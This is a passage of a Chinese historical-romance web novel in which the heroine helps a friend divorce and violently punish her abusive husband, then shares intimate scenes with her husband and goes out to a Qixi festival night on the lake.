江元音不催促,为她斟茶,静待她做足准备再开口。
片刻后,秦瑾烟道:“昨日见你和侯爷重新拜堂行礼,我感慨良多,或许我不该那么早的认命,放弃寻得幸福的可能。”
“这些日子,感谢你同侯爷愿意不计前嫌,不迁怒维航,收留我们母子,我已想明白了,我不能再继续逃避下去。”
“元音,你之前说,如果我下定决心要和离,你可以助我,可是真的?”
江元音颔首:“当然是真的。”
她随即起身,“我这就去请示侯爷,你且安心等一等,或许今日,”她顿了顿,还是没将话说得太死,补充道:“最迟明日,我一定将齐明宏签署过的和离书,递到你手上。”
她深知秦瑾烟这样唯唯诺诺过了二十多载的人,能做出这个决定有多不易。
她不愿其久等。
秦瑾烟伸手拉住江元音,眸光闪烁,鼓足勇气地问道:“可否让我与他见上一面?我想当面同他做个了断。”
她被欺凌太久,这当是她与他见的最后一面。
江元音轻拍了拍她的手,应道:“好,我陪你一起去。”
第98章 将他扎个千疮百孔
江元音立即去寻了齐司延。
她简单直接的告诉他,希望他可以放弃追究齐明宏谋害她和腹中“孩儿”,以此来换与秦瑾烟的一纸和离书。
末了,她眉眼弯弯,笑得温婉无害,补充暗示道:“反正齐明宏作恶多端,少了我这一项指控,对其最终处置的影响,当微乎及微吧?”
总之,她既要助秦瑾烟脱离苦海,也不会真的放过齐明宏那个**。
齐司延了然,顺她心意的轻“嗯”。
江元音顺势发问:“那侯爷可否马上安排我与瑾烟去见齐明宏?”
“马上?”齐司延意味深长地扫视她一眼,问:“你身子恢复好了?”
午饭都没陪他一起吃,倒是对别人的事挺上心。
江元音:……?
这是重点吗?
江元音嗔了他一眼,选择无视他后面的问题,将跑偏的话题再次拉回来,“没错,马上。”
她眨眨眼,夸赞的话张嘴便来,“侯爷英明神武,睿智过人,一切都在侯爷的掌控之中,像安排我同瑾烟去御史台见齐明宏这等小事,定毫无难度。”
她并非是张嘴便来地为难他,而是笃定他在御史台是有人脉的。
御史台算是相当配合,从侯府抓走齐文台父子。
那侍御史即便不是他的人,他在御史台也一定有部署。
齐司延见她眸光里都是跃跃欲试,不忍扫她兴致,轻哼一声,唤道:“曲休。”
“在。”
“陪夫人去趟御史台,”齐司延直直地望着曲休,沉声道:“务必低调,护夫人安全。”
曲休与之对视,接收到了无声的吩咐,拱手回道:“曲休明白,侯爷放心。”
御史台毕竟是不能轻易出入的官家重地,江元音和秦瑾烟穿着低调,戴上了帷帽。
三人自偏门而入,绕过弯弯绕绕的窄道,入了间审讯室。
里面是邋遢狼狈不堪,神情恍惚坐在地上的齐明宏。
他身上是大大小小,新旧不一的伤口。
见到有人进来,齐明宏先是条件反射地往后爬,贴靠在墙角,慌乱中认出了曲休,又好似见到救命稻草一般,连连朝他叩首求饶:“我知道错了,你让侯爷饶了我吧,我再不敢伤害侯爷妻儿,你告诉侯爷,我父亲做的那些事,我都有证据,只要侯爷需要,我可以指证我父亲……哦不,指证齐文台,我没他那样的父亲,我一定大义灭亲……求侯爷给我一个机会……”
曲休抱剑环臂,没搭理他一句。
反倒是秦瑾烟听不下去,一把摘掉了帷帽,胸膛起伏地怒斥道:“你真是不配为人!”
即便齐文台不是好人,可他这个时候,却想靠出卖自己父亲来保全自身,真真不是东西。
只是她从不是牙尖嘴利之辈,骂不出什么恶劣伤人的话来。
齐明宏愣了下,认出秦瑾烟后更是激动,站起身朝她走来,“你是来接我的吗?”
他满脸希冀,自顾自道:“你同那**交情甚好,你求她原谅我了?你还算有点脑子,不算太蠢……”
眼看着他就要抓到秦瑾烟的手臂,江元音利落摘下帷帽,横阻在两人中间,不同他废话地开口道:“你将和离书签字按了手印,我自会原谅你谋害我肚中孩儿,与侯爷不再追究此事。”
闻言,反应最大的竟是秦瑾烟。
“原来这便是你助我和离的法子?”她恍然大悟,连连摇头,“不,不可以,你已经帮了我够多了,不能再让你为了我,放弃惩治伤害过你的人……”
她本就觉得亏欠江元音良多,无以为报,哪还敢承她这么大的人情。
在齐明宏画押前,江元音不好把话挑明,只好劝道:“别忘了我们先前聊过的,别再浪费时间和烂人烂事纠缠,你快些将你签好画押的和离书拿给他签字画押,其余的等我们离开御史台
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再说。”
“你不要放过他,不要因为我放过他……”
齐明宏是不敢再对江元音动手,可他对秦瑾烟打骂惯了,根本容忍不了她一点,见她竟然劝江元音不要放过自己,伸手猛拽住她的头发,“**,你就盼着我死是不是?老子早就该打死你这个**!”
他碰不了江元音,难道还治不了他这没权没势被他拳头打惯了的妻子?
“齐明宏!松开她!”江元音急声制止,忙高声唤道:“曲休!”
曲休得令,上前一脚猛踹开齐明宏。
齐明宏跌撞在墙角,他不敢冲江元音、曲休叫嚣,却好似着了魔似的,要将秦瑾烟羞辱踩在脚下,仿佛这样便可以维护住他那所剩无几的尊严。
他恶狠狠地瞪着秦瑾烟,“既然你不想过安生日子,老子今天就打死你!”
这样辱骂的话,秦瑾烟已记不得是第几次听到了。
从前她总是一声不吭的受着,期盼着他的拳头能停下,又期盼着他干脆真的将她打死,好结束这样的痛苦与折磨。
可这一次,她不想再忍耐了。
她一把抽过曲休的剑,高举着要朝齐明宏刺去,颤声喃语:“我要杀了你,我要杀了你……”
江元音反应极快,上前一把抱住了秦瑾烟,“冷静一点,这里是御史台,你不可以杀了他,你不要为了这么个**把自己命搭进去,你想想维航!”
听到齐维航的名字,秦瑾烟瞬间泄气,手一抖,剑便落了地。
江元音却弯腰俯身将剑捡了起来,重新递到她手里。
秦瑾烟不明所以。
江元音道:“你是不可以杀了他,但就像他从前无数次殴打你,却没把你打死一样,你应该……”
她拉长语调,包裹住秦瑾烟的手,同她一道举着剑,带着她一剑刺在齐明宏小腿上,勾唇笑道:“像这样,将他扎个千疮百孔,却死不了。”
第99章 想让你舒服喜欢
江元音握住秦瑾烟的手,执剑狠狠刺向齐明宏的四肢。
齐明宏惨叫连连,不管不顾想要反抗时,被曲休一脚踩住胸口,动弹不得。
感受到秦瑾烟再次主动握紧了剑柄,江元音松开了她的手。
秦瑾烟脑海里闪过这些年挨打的画面,深呼吸刺向齐明宏的胳膊。
齐明宏挣扎威胁道:“这和离书我不会签字画押的,秦瑾烟,你这个**,我一辈子都不会放过你!”
秦瑾烟又猛地一剑刺进他的小手臂,她看着他,又仿佛不是在看他。
她看着的,对话着的,是无数个记忆中对自己拳脚相向,伤害她的齐明宏。
“我不是没用的东西,你才是没用的东西!”
“你不思进取,却自命不凡,你嫌我秦家没落,帮衬不到你,可你又算个什么东西?”
“你,你一家全是沾得侯府的光,没有侯府,你们什么也不是!”
“你凭何打我?凭何辱我?”
“我会好好教导维航,不管你是生是死,他都不会认你这个父亲!”
“齐明宏,该死的人是你!”
一剑又一剑,秦瑾烟宣泄着这些年所遭受的**。
她刺向的是齐明宏,杀死的却是曾经那个处处忍让的懦弱的自己。
等到她力竭,江元音方才开口问道:“和离书呢?”
秦瑾烟从袖口中掏出备好的和离书。
江元音接过递给曲休,目光冷冷落在奄奄一息的齐明宏身上,道:“签不签可由不得你。”
曲休懒得同其废话,拿过齐明宏沾血的手,在和离书上画了押。
随后他将和离书双手递交给秦瑾烟,朝江元音道:“夫人,此处留给我来善后吧。”
齐司延没有明说交代的事,他需得处理一番。
江元音却抬步上前,从袖口掏出一个瓷瓶,云淡风轻地撒在齐明宏的血窟窿上。
齐明宏伤口疼得叫唤。
曲休清了清嗓子,弱声询问道:“夫人给他撒的什么?”
不会是**吧?
可前面夫人不还劝秦氏不要杀齐明宏,留他一命吗?
江元音淡声回道:“止血散。”
曲休一愣:“啊?”
“可不能让他就这么轻易地**。”
曲休讶然,难以置信地确认道:“夫人是出府前便备好了?”
江元音颔首。
原本她就是计划着先“好言”骗齐明宏在和离书上签字画押,之后再帮秦瑾烟出口恶气,但不能伤其性命,所以提前备好了止血散。
只是没想到齐明宏是一刻好日子也不想过,上来便发疯挑衅。
好在,也算是殊途同归。
曲休第一次面对江元音,觉得有些后背发凉。
夫人心思缜密不输侯爷!
真是恐怖如斯,恐怖如斯!
江元音同秦瑾烟先行回了马车,等曲休善后。
待曲休折返,趁着日头未落又去了地方官府,递交双方签字画押的和离书,更改户籍。
等到一切尘埃落定,秦瑾烟抱着户籍文书,哽咽落泪。
江元音没有劝阻她的眼泪,只是安静陪着她。
因为此刻,是劫后余生,是喜极而泣。
待回到侯府时,已是日暮时分。
神经紧绷,注意力集中的时候总是不觉疲累,这会同秦瑾烟回了侯府分别了,江元音只觉得白日里的那股要散架的酸痛再次袭来。
于是她打算不等齐司延,早早洗漱上床睡觉。
然而她刚洗漱完,齐司延便也洗漱完回屋了。
两人一对视,气氛便陡然旖旎暧昧了。
雪燕、清秋连忙退下,房门合上。
齐司延迈过去,意有所指道:“看来阿音已经准备好了。”
江元音被他盯得腿软,没好气道:“……我是准备就寝睡觉,你想哪去了?”
“自然是和阿音想的是一处,”齐司延一本正经将她拦腰抱起,走回床榻,缓声重复道:“就寝睡觉。”
江元音看他墨眸幽深,犹如盯紧猎物的狼,便知他此刻在想些什么。
一落床榻,她迅速往里滚了一圈,掀过被褥将自己裹住,防备看他,婉拒道:“侯爷刀伤初愈,元气大伤,想来还是多静养为妙。”
哪有夜夜想着行房的?
这个男人真是……!
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>齐司延躺了上去,长臂一伸,将她连人带被揽入怀抱,侵略性十足地盯着她,“阿音在质疑为夫的体力?”
他昨夜还不够卖力?
江元音体会到什么是作茧自缚,原本想用来防御的被褥成了束缚住她的茧,她连伸手推开他都做不到,只能哀怨看着他,坦然服输道:“……是我体力不支。”
“我来,”齐司延的大手隔着被褥游离,“定不让阿音受累。”
男人食髓知味,乐此不疲。
而江元音回忆起昨晚的疼痛,没法探手推开他,干脆往被窝里缩了缩,无声抗拒。
见她鼻子下巴都藏进被褥里,只露着额头和双眼,齐司延游离的手顿住,眸色沉了沉,绕回了早上的问题,“阿音真的不喜欢?”
他情绪明显低落下去,眼里有隐忍的失落。
是他差劲还是她……不愿和他亲密?
江元音察觉到他的情绪,一时不忍,低声回道:“因为……很疼。”
齐司延情绪缓和,心疼解释:“昨夜初次……难免。”
他浅吻上她的额头,柔声轻哄:“今晚不会了。”
他一路辗转吻至她莹白的耳垂,力道语气都格外的温柔,诱哄着她,“我们多试试,才知道哪样能让你舒服喜欢。”
“我亦没甚经验,我们一起摸索,可好?”
他停住不动,克制隐忍地等她应允。
她若真的不想继续,他便不再继续。
江元音感受到了尊重,理智动摇了一半,松口道:“那我喊停时你要停……不可以同昨晚一样……”
“好。”
齐司延应声,这才如愿以偿吻上她的唇。
这一晚,齐司延的确非常克制温柔,蛊惑着她一点点化作柔软的水。
然而情到浓处,有些话却又不作数了。
江元音叫停无果,齐司延熟练地送上自己的肩膀给她啃咬撒火。
她仍嫌不够,指甲划破他的背。
她连名带姓地唤他,他却越发来劲。
只是……他似乎也没有撒谎。
今晚的确欢愉胜过了疼痛。
她好像明白,他为何热衷此事了。
第100章 离别
次日,齐司延不忍吵江元音歇息,替她掖好被子后,兀自起床更衣。
江元音还是醒了,撑着上半身,在床榻上望着餍足后神清气爽的男人。
齐司延有所察地看去,见她青丝如瀑,说不出的娇柔妩媚。
那双眼目不转睛地盯着他,最是……勾人。
江元音可没有那些甜蜜的心思,她直直地盯着他,纯属不爽。
他此刻穿得严实,一丝不苟,又是那副矜贵禁欲的模样,看不出半点昨夜的情动。
她心里有些微妙的不平衡,于是笑吟吟地朝他伸出双手,娇声唤道:“侯爷。”
齐司延配合地弯腰俯身,享受她主动的亲昵求抱,抚了抚她柔顺的青丝,“嗯?”
江元音环住他的脖颈,将他往下拉,随后倾身探头,一口咬在他的脖颈上。
“嘶——”
齐司延疼得吸气,却没推开她,好脾气地任她咬着。
直到她松口,方才轻抬起她下巴,垂眼与之对视,没有责怪恼怒,问道:“为何咬我?”
“因为侯爷说话不算话,”江元音没好气道:“骗子。”
齐司延自知理亏,轻咳了一声,问道:“现下解气了?”
若是没有,他可以把另一边脖颈也送过去,让她咬到解气为止。
江元音望着他脖颈处显眼的咬痕,满意颔首:“解气了。”
肩膀上的咬痕都被他的锦衣遮掩住,这脖子上的可就没办法了。
看他还敢不敢这么没有节制的折腾她。
语罢,她松开他,背对他重新躺下。
齐司延抬手摸了摸脖颈上的咬痕,扬唇笑了笑。
他很满意她现在恃宠而骄而逐渐展露出来的小脾气。
他乐意惯着她。
齐司延一如昨日吩咐雪燕、清秋不要吵江元音休息,便离开了主屋。
等候良久的曲休迎上来,一眼便瞅到了齐司延那扎眼的脖子,不由得一怔。
侯爷和夫人真是……恩爱。
齐司延掀了掀眼皮,扫了他一眼,无声道:你要看到什么时候?
曲休忙收回视线,见左右无人,低声禀告道:“侯爷料事如神。”
“嗯?”
“齐明宏昨夜子时,**。”
齐司延波澜不惊,表示了然的点点头,又问:“齐文台的案子何日开审?”
“估摸着是后日。”
“盯紧些。”
“是,侯爷。”
江元音并未像昨日一样,睡到午时才起。
这个回笼觉只睡到了巳时,她便起来洗漱用餐。
没多久,秦瑾烟带着齐维航来了。
听到丫鬟禀告,江元音察觉到些许的不对劲,因为秦瑾烟几乎不会带齐维航来找她。
果然,秦瑾烟穿着便服,头发梳成简单的发髻,背着行囊,一副要远行的模样。
见着江元音,她盈盈一拜,感激道:“元音,若非你相助,我今生难逃苦海……”
江元音伸手去搀扶,阻止道:“我们不是已经说开了吗?你之前也帮过我,我们是朋友,何必行这些虚礼?”
秦瑾烟却很坚持,执着地跪地行礼,道:“你的大恩大德我今生没齿难忘,我知晓自己能力有限,帮不上你什么,但日后,你若有任何用得着我母子的地方,我母子俩定赴汤蹈火,在所不辞。”
江元音不同她说客套的场面话,落在她背着的行囊上,问:“你要离开侯府?”
秦瑾烟颔首,“我知你和侯爷都是大度不计较的人,只是如今我母子俩再留在侯府,的确言不正名不顺。”
她未与齐明宏和离前,勉强同齐司延、江元音还算亲戚关系,如今她已经与齐明宏和离,同侯府再没干系。
江元音蹙眉,“我早说过,只要你愿意,侯府就是你的娘家,怎会言不正名不顺?”
秦瑾烟摇头,“如果我恬不知耻地赖在侯府,那我同齐明宏一家人有何区别?”
“自然有区别,你又不是……”
“元音,”秦瑾烟打断她,口吻坚定道:“我知你是好意,但我心意已决,你不必再劝我。”
江元音深吸了一口气,将到嘴的话咽下,问道:“那你打算带维航去哪?秦家允你回去?”
“我
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不回秦家,”秦瑾烟眼里有难过一闪而过,回道:“我打算带维航去柳州兰城,投靠我外祖父一家。”
“我幼时同外祖父、外祖母感情不错,我舅舅、舅母亦是好说话的人,你莫担心,我同维航去了,定比回秦家过得惬意。”
她将手中的包袱递给江元音,接着道:“我知你什么都不缺,这是我这半月亲手缝制的一些孩儿的衣物,不贵重,只是我的一点心意,希望你别嫌弃。”
她眸光闪烁,好似鼓足了勇气了才问道:“如今你我已经不再是妯娌,你可愿认我当个姐姐?”
江元音百感交集,伸手接了她递过来的包袱,轻声道:“多谢阿姐。”
前世她对江云裳掏心掏肺,换不回半点真心。
此生她可以自己选择姐妹,某些遗憾也算圆满。
秦瑾烟红了红眼,拉扯着杵在一旁的齐维航跪下,“维航,见你过元音姨母。”
齐维航遭此变故,整个人消沉了很多。
秦瑾烟教导得很好,他没有抵抗,乖顺地给江元音跪拜行礼,改了称呼:“维航见过元音姨母。”
“乖,”江元音将包袱递给雪燕,伸手将两人扶起来,“起来说话。”
秦瑾烟这才肯起身。
江元音道:“你执意要走,我不拦你,你且等我片刻,我有东西要交予你。”
语罢,她嘱咐清秋留下陪着母子俩,自己和雪燕转身回了卧房。
她迅速收拾了些细软银钱,沉甸甸装了一木匣子,递给秦瑾烟。
江元音按着木匣子,不许她打开,道:“亦是我当妹妹的一片心意,你不要推拒。”
“虽你与外祖父母情深,但想来定也多年未见,舅舅、舅母为人再好,你空手而去定也不好,这些你挑一些当见面礼,再留一些傍身。”
“汴京到柳州兰城,路途遥远,你务必珍重,待安然到了,别忘记书信一封,与我报个平安。”
秦瑾烟热泪盈眶,说不出话,只是抱着木匣子不住点头。
这一回落泪,是因为感动。
何其有幸,有友如她。
第101章 乞巧节夜游
很快,便是七月初七,乞巧节。
天气愈发的热了,江元音懒洋洋地不愿动弹。
雪燕和清秋一左一右地为其扇扇,提到乞巧节,便兴冲冲地讨论了起来。
清秋介绍道:“汴京每年的乞巧节可热闹了,没有宵禁,东街、西街都很热闹,有可多比赛呢,不仅有月下乞巧、卜巧,赢了有好兆头还有可多奖品呢,还能去银镜湖祭拜放花灯,还能看水上表演呢!”
雪燕听得眼睛都直了,连声问道:“这么好玩?!那你之前可有参加比赛?可得奖了?什么奖品呀,拿与我瞅瞅呗!”
清秋摇头。
雪燕尴尬笑笑,一手扇扇,一手轻拍自己的嘴,安慰道:“呸呸呸,怪我乱问,我掌嘴,没得奖没事,指不定今年就拿了呢!你可别气馁啊!”
清秋停了扇,抓住她掌嘴的手,解释道:“不是啦,不是没得奖,是压根没参加过。”
“啊?”
“从前王嬷管我们,轻易不许我们出门,我刚说的都是我听来的,我从未在乞巧节的晚上,出过侯府呢。”
两人说着对视了一眼,交换了下神色,默契转头看向撑着下巴假寐的江元音。
感受到两人灼热的目光,不待两人开口,江元音没睁眼,开口道:“你们报备一声,今晚出府玩便是。”
雪燕开心不已,蹲身劝道:“夫人同我们一起去玩如何?汴京的乞巧节肯定比我们江南的来得热闹!”
其实江南的乞巧节也很热闹,只是过往,她们主仆都是江云裳的跟班,便是出了府,也从未好好玩过。
江元音懒洋洋地拒了,“太热了。”
“不热的,”清秋附和劝道:“尤其银镜湖边,晚风很是凉快舒服,反正闲着无事,夫人去湖边吹吹晚风消暑?若是夫人觉得乏味燥热,我们马上回府便是。”
江元音听着倒来了几分兴致。
近来齐司延实在是粘人,尤其是到了晚上。
她出府逛逛也挺好。
是以,她睁开了眼,应道:“行,今晚我同你们一道去。”
江元音做了决定便动身去知会齐司延。
客观来说,近日里齐司延的粘人主要提现在晚上回主屋早,实际上白日里还是挺忙的。
她偶尔听到曲休禀告的话,不难推测他是在着手接回这些年落在齐文台手中的侯府公务。
所以她不磨蹭耽搁他处理公务,进门便言简意赅道:“侯爷,今日是乞巧节,晚上我打算出府逛逛。”
齐司延抬眼,问:“阿音想去哪逛逛?”
江元音随口答道:“听闻银镜湖可放花灯,又有水上表演,晚风清凉舒适,想去湖边吹吹晚风。”
至于东街、西街的那些个活动,去不去便等出了府再议。
一旁的曲休心里咯噔了下。
不好,夫人今晚也要去银镜湖?
那侯爷的事怎么办?
齐司延稍作思索,回道:“好,我陪你去。”
江元音讶然,确认问道:“侯爷今夜要陪我出府过乞巧节?”
“嗯,”齐司延挑眉,略有些不满,“不乐意我陪?”
“怎会,”江元音解释道:“侯爷公务繁忙还愿抽空陪我,我自是乐意欣喜,但我深知侯爷不喜热闹,侯爷不必勉强自己迁就我。”
她的回答一半是实话一半是婉拒。
本就是觉得两人太过腻歪,才想出府走走,怎地他还要陪着一起去?
齐司延非常好哄,闻言眉目舒展,表态做了决定:“酉时正点出发,我们去银镜湖用晚膳。”
他话说到这个份上,江元音自不会推拒,心里亦是有几分高兴的。
觉得他太粘人腻歪是真,见他愿意迁就自己去凑热闹的动容也是真。
她点头应声道:“好,那侯爷先忙,我去准备准备。”
江元音主仆离开后,曲休面色犹疑地开口:“侯爷,晚上夫人也去,会否行动不便?”
“无妨,”齐司延淡声道:“按原计划行事,具体的,你听我指令便好。”
成婚这么久,他们未曾一起出府过。
难得她有兴致,他不愿扫她兴
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。
曲休:“是,侯爷。”
江元音换了身轻纱云锦裙,备了帷帽,想着晚上大抵要去街市上逛逛,穿着以低调便利为主。
雪燕和清秋两人最是兴奋难掩,一直叽叽喳喳地讨论着,直到齐司延过来了才消停。
盛夏日头落得晚,一行人出府时,太阳刚开始西沉。
两刻钟后,马车停在了银镜湖边。
齐司延带着江元音上了一艘停在岸边的船舫。
她这才知晓,他说的去银镜湖用晚膳,不是指银镜湖附近的酒楼,而是泛舟湖上。
上了船舫后,船舫缓缓驶离岸边。
江元音眺望湖面。
此时太阳将落未落,余晖化作天边粼粼波光,天边红霞与远处的湖面连成一线。
晚风徐徐,湿润却不闷热。
如此美景,好不惬意,这一趟的确来得值。
齐司延不动声色地将她的神色收入眼底,他亦觉得这一趟的确来得值。
晚膳用得差不多时,夕阳沉了,上弦月从湖面升起。
江元音这才恍然,这湖为何唤名“银镜”。
清冷的月光撒在湖面上,确如一面银镜。
而湖面上的船舫逐渐多了起来,远远地能听到悦耳的管弦丝竹,好不热闹。
这时原本立在船头的曲休忽地上前,躬身禀告道:“侯爷,远处好似是珩王的船舫,侯爷可要去请个安?”
齐司延没立即回应,而是看向江元音,介绍询问道:“珩王乃当今圣上胞弟,好风月礼乐,珩王今夜游湖,定会排查确认湖面上其余船舫船只的身份,阿音是愿和我一道去面见珩王,还是在船舫上等我回来?”
江元音表示了然的点点头,兴致缺缺地回道:“珩王乃皇亲国戚,想必规矩甚多,我就不和侯爷一道去了。”
她接着道:“我想和雪燕、清秋去街市上逛逛。”
正好他不喜欢热闹,他不必迁就勉强自己陪她去街市,她也不用觉得撇下他在船舫于心不忍。
他去见珩王,她去逛街市,皆大欢喜。
第102章 世上竟有如此相似的两张脸
齐司延欣然应了江元音的提议,点头命船夫将船舫驶向岸边。
接着他吩咐两位小厮跟随江元音主仆,护她们安全。
他命船舫停在岸边等候她们逛完回来,自己则和曲休乘坐一只小舟前往湖中央珩王的船舫。
镜湖边岸线绵长,一侧是达官贵人的停靠的船只、船舫的地方,一侧则聚满了租不起船只,只是来湖边放花灯祭祀的平民百姓。
江元音戴着帷帽,站在岸边望着齐司延乘小舟远去。
周遭的百姓亦纷纷侧目望去。
他一身月白色的锦衣,立在小舟上,身上好似镀上一层清冷的月光,气质卓然,竟不输月光。
她心里有些疑惑。
他这般未免太高调了吧?
果然隐隐约约,她听到了邻近百姓的议论声。
“那是哪家的郎君?好生俊俏!”
“不知婚配与否?”
“你做什么梦呢,人婚没婚配都轮不到你,瞧他那行头气质,贵气得很,怕是做妾都轮不到你哟!”
“诶,他刚刚是从那艘船舫上下来的,听我阿爹说,那艘船舫今夜是被定宁侯包了,他该不会是定宁侯吧?”
“不会吧,那定宁侯不是耳目不聪、腿脚不便的病秧子么?这郎君看着身体好着呢!”
江元音听着,心情有些微妙,同时也浮现出了一些猜测。
他的高调似乎是故意为之。
他是趁此机会,宣告众人,他身体好了?
很有可能,毕竟如今齐文台一大家子都被赶出侯府了,他的确没必要再装病弱。
雪燕和清秋一直在张望热闹的街市,全然没注意到江元音一直在凝神旁听百姓们的议论。
半晌不见其迈动步子,方才回首询问道:“夫人舍不得侯爷么?”
江元音戴着帷帽,她们看不到她的表情,只知道她是面朝齐司延的方向立着的。
江元音感受到两人的迫不及待,收回目光,往热闹的街市迈动了步子。
没了宵禁,市集上热闹非凡,熙熙攘攘全是人。
男男女女、老老少少,结伴同行,卖各种小玩意的摊贩都有。
每间隔数丈远的空地,都搭了台子,举办着各种各样的比赛。
江元音一路逛着,有些兴致缺缺,只觉得不如回了船舫安静赏月,放放花灯来得舒适。
但见雪燕和清秋东瞧瞧、西望望,兴奋不已,也不忍扫兴。
主仆三人逛逛买买,一人提了个花灯。
走至乞巧比赛的台子时,看着雪燕和清秋跃跃欲试,她主动提议她们参赛,上台比比。
两人还是有所顾虑。
“夫人呢?”
“要不夫人和我们一起上台吧!”
江元音摇头,很坚定的拒绝了她们的邀约,表示会在台下观看她们比赛。
乞巧比得是穿针引线,台上站满了朝气蓬勃的姑娘们。
少女们的笑容极具感染力,胜过万千星火的美好。
江元音提着花灯,伫立在台下,安静观看。
直到一群玩闹嬉戏的孩童,在追逐中撞掉了她手中的花灯。
有几个立马停步,垂首道歉:“对不起,我们不是故意的。”
小厮上前,正要呵斥一番,**元音拦住,“无妨,只是撞到了花灯而已。”
他们没有撞到她,只是撞掉了她手中的花灯,又立马道歉认错,她没必要和一群孩童计较。
两个小厮应声后退。
有个五岁左右扎着双丸子头的小女孩,捡起了跌落的花灯,双手递给江元音,奶声奶气道:“谢谢夫人不生我们的气,夫人的花灯好好看,人肯定也很漂亮!”
江元音觉得她小脸圆圆,像颗软糯的元宵丸子,俯身弯腰接过花灯,温声笑道:“也谢谢你。”
这时原本被一众小孩追逐跑完的小男孩,见追自己的人都停在江元音面前不追了,不满被冷落的折返。
他趁着江元音俯身弯腰,一把摘下她的帷帽,又得意洋洋地跑开,边跑边喊着:“来追我啊!哈哈哈哈——”
刚才退后的小厮,一人留守,一人快步追上去。
那群小孩也追上去,只剩下
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小女孩,气鼓鼓地骂道:“王小虎,你怎么乱抢人帽子!太过分啦!犯规,这样一点都不好玩了!”
骂完抬手去牵江元音,又奶声奶气地解释安慰道:“漂亮夫人,王小虎就是欠揍,他不是真的想抢你的帽子,你别生气,一会天天哥哥一定会追到他,把你的帽子还给你哒!”
江元音真的被面前的小女孩可爱到,忍不住伸手摸了摸她的小脑袋,把自己的花灯又递给她,“既然你觉得这个花灯好看,那我送给你,谢谢你和伙伴们帮我追帽子。”
“哇,夫人真的愿意送给我吗?”
“嗯啊。”
小女孩开心不已,眉眼都弯成了月牙。
江元音也笑。
此时此刻,忽然有些想念齐司延了。
要是他也在,看到面前的小女孩,会不会和她是一样的心情?
他们要是也能生个这么可爱的女儿就好了。
她思绪飘远,直到察觉到有令她不适的目光黏在了她的身上。
她下意识的抬眼看去,看到远处的花灯摊贩下,站着个身着华服的男人。
他立在无数发光的花灯后,脸被灯影掩盖,看不分明。
可她笃定,他正目不转睛地盯着她,让她有种被冒犯的不适感。
好在这时小厮回来了,一手拎着作乱的王小虎,一手将她的帷帽递给她,询问道:“夫人,如何处置这孩子?”
江元音接过帷帽戴上,那种被注视的感觉并未消散,她侧了侧身,背对花灯摊贩的方向,看着焉了吧唧的王小虎,对小厮道:“松开他吧。”
小女孩戳戳王小虎的脸,凶巴巴道:“你快跟漂亮夫人道歉啦!”
王小虎已经被小厮收拾服了,嘴一瘪,闷声道:“对不起……”
江元音再次摸了摸小女孩的脑袋,柔声道:“没事了,去玩吧。”
一群小孩又奔跑着,消失在热热闹闹的市集里。
花灯摊贩下,华服男人一瞬不眨地盯着她,近乎屏息。
她是谁?
世上竟有如此相似的两张脸?
第103章 臣齐司延,见过王爷
同孩童们分别后,江元音立在人群中,再次看向花灯摊贩处。
戴上帷帽,安全感多了几分。
她已经做好了那男人朝她走来的心理准备。
这里是熙攘嘈杂的人群,四周都是人,而她身边还有两个小厮,那男人身着华服,身后还有随侍,想来也不是普通人家的公子。
他便是不怀好意,过来了也出不了什么事。
与其被人远远地注视打量,她更想弄明白他到底是何目的。
男人往她这边迈了一步,眼看着要走出花灯的遮挡,露出面容来。
偏偏这时,他身后的随侍忽然大步上前,绕到他身前,又将他遮挡得严实。
随侍躬身同其说了几句话,男人转身,没入夜色里。
江元音只觉得轻松自在了不少,虽然没能弄清楚那男人是谁,但黏在身上的目光消失了。
于是她的注意力重新转移到台上的乞巧比赛上。
少女们一轮接一轮的比拼,最终雪燕和清秋都没拿到前茅的成绩,好在两人心态甚好,不用江元音开口安慰,便互相鼓励着回去勤加练习,明年再来参赛。
江元音听在耳里,眉眼带笑,见两人仍没玩得尽兴,便道:“我先回船舫了,你们再玩会,半个时辰内回船舫便行。”
她还想在船舫上吹吹湖面晚风,赏赏上弦月,半个时辰也差不多了。
雪燕和清秋有些纠结,既还想逛,又觉得不该放江元音一人回船舫。
“啊,我们不回去,夫人身边都没个人侍候。”
“是啊。”
“不差这一会,”江元音回道:“侯爷说不定已经回船舫了,我同侯爷单独赏赏月。”
两人一听到这个理由,非常有眼见力的不坚持了。
江元音命一个小厮留下跟着两人,一个护送她回到岸边船舫。
等上了船舫,又令这个小厮也折返。
她待在船舫上是没有危险的,热闹的街市就不好说了,尤其是她才刚经历过被陌生人死盯着,她对雪燕和清秋还是有几分忧心的。
她们毕竟只是两个瘦弱的小女生。
江元音回了船舫,第一件事是去寻齐司延。
许是因为先前碰见那个可爱的小女娃,她莫名有几分想念他。
可惜齐司延还未归。
她有些许失落。
守船的船夫看出来了,笑着提议道:“夫人要不要去放花灯?”
江元音讶然:“船舫上有花灯?”
船夫点头:“白日里侯爷便派人来嘱咐我备花灯了,想必是要陪夫人一起放的,或许夫人先放个一两盏,消磨下时间,侯爷便回来了。”
江元音那点失落瞬间一扫而空。
她下午不过随口一提,他竟都记住做了准备。
他真真是心思细腻之人。
是以,江元音拿了几盏花灯,兀自去了甲板。
原本是想放的,提起来在手中端详了一会,她又放在了身侧。
还是等齐司延回来一起放吧。
她抬眼望向湖面上的其余船舫,一眼便能猜出,哪一艘是珩王的。
定是近湖中央那艘被一群小舟围绕着的灯火通明的大船舫。
她虽看不太清,但能听到弦乐之音。
未多久,琴音骤然停了,唯余箫声,在宁静的湖面上尤显空灵悠远,煞是好听。
江元音凝神听着,又仰头望向夜空中上弦月。
齐司延还要多久才回来啊?
早知道,还不如和他一道去请安了。
她想一定是月色太温柔,才让她滋生出如此多矫情的眷念。
江元音猜得没错,银镜湖中央,那一艘挂满了六角琉璃宫灯,被数只小舟围绕的富丽堂皇的船舫,正是珩王的船舫。
之所以弦乐之音能在湖面远扬,是因为琴师们并不是在船舫上演奏,而是一人独乘一只小舟,于湖面上为王孙公子们演奏。
而珩王李霁本人并不在船舫上。
他正立在一只小舟上,独奏吹箫,揽尽甲板上众人的目光。
一曲奏罢,他在一片掌声中上了船舫。
那些个王孙贵族忙迎上去,络绎不绝地夸赞。
“王爷真是精通乐理,造诣远超我大昭所有乐师!”
“王爷所奏,乃是仙乐!”
“我等何
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德何能,能听王爷演奏,真是三生有幸!”
大家你一言我一句地吹捧着,没有半点已在这甲板上被晾多时,苦等近半个时辰的不悦埋怨。
当然也没人敢埋怨李霁。
他乃当今圣上李彦成的胞弟,足足小了圣上近二十岁,现年不过二十七岁,从不插手家国政事,唯好乐理。
夸张点来说,李彦成将其视为儿子般包容也不为过。
谁敢得罪他?
